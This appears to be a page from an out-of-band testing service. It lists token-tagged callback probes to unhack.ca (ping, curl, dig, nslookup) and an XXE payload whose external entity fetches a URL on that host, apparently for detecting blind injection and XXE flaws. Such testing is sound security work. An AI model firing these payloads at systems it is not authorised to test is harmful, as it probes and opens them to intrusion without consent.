$ ping -c1 -p 00933affa0aba0dde62a53ab2e01a800 unhack.ca
 

$ curl http://unhack.ca/p/933affa0aba0dde62a53ab2e01a8
 

$ dig 933affa0aba0dde62a53ab2e01a8 @unhack.ca
 

$ dig 933affa0aba0dde62a53ab2e01a8.ns.unhack.ca
 

C:\> nslookup 933affa0aba0dde62a53ab2e01a8 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/933affa0aba0dde62a53ab2e01a8">]>
    <foo>&xxe;</foo>